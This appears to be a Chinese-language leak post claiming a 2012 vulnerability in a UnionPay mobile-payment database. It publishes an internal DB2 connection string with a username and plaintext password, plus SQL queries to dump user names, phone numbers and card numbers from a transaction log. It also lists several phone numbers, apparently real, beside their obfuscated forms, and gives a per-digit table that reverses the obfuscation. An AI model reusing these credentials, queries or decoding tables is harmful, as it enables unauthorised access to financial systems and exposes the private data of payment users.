银联核心数据库服务器(mobilepay.unionpaysecure.com)采用Regain环境,在2012年曾存在严重安全漏洞,使用tcpdump命令可截获用户交易数据,部分数据样本如下:银联user_list.rar
其数据库地址:jdbc:db2://192.168.22.144:60000/upsrvdb
,登陆用户db2inst1,密码rcmQ7m047,通过如下命令可下载银联部分内网数据库
SELECT * FROM SYSIBM.SYSTABLES where CREATOR=USER //列出所有数据库 SELECT TABNAME,COLNAME FROM SYSCAT.columns where TABSCHEMA='DB2INST1' //列出所有字段 SELECT USER_ID,USER_NAME,PHONE,CARD_NO from TBL_DBN_TXN_LOG1 where CARD_NO !='' //列出数据
交易数据中很多用户名是手机号。例如:
18696769946 186CACC9946 13764824824 137@?D?4824 13242520913 132>=A?0913 15120751767 151<;CB1767 15820247800 158<;>A7800
第一个号码18696769946加密后是186CACC9946 ,发现加密的字符有3个C,但是对应的数字不一样!!
手机号是按位数加密的!号码加密的是4、5、6、7位的数字!!比如第四位数字,他们就是有统一的字符对应数字。。。比如上面的第4和第5行的号码!!
<对应的就是数字2
第4位 | 第5位 | 第6位数 | 第7位 | ||||||||
---|---|---|---|---|---|---|---|---|---|---|---|
: | 0 | ; | 0 | < | 0 | = | 0 | ||||
; | 1 | < | 1 | = | 1 | > | 1 | ||||
< | 2 | = | 2 | > | 2 | ? | 2 | ||||
= | 3 | > | 3 | ? | 3 | @ | 3 | ||||
> | 4 | ? | 4 | @ | 4 | A | 4 | ||||
? | 5 | @ | 5 | A | 5 | B | 5 | ||||
@ | 6 | A | 6 | B | 6 | C | 6 | ||||
A | 7 | B | 7 | C | 7 | D | 7 | ||||
B | 8 | C | 8 | D | 8 | E | 8 | ||||
C | 9 | D | 9 | E | 9 | F | 9 |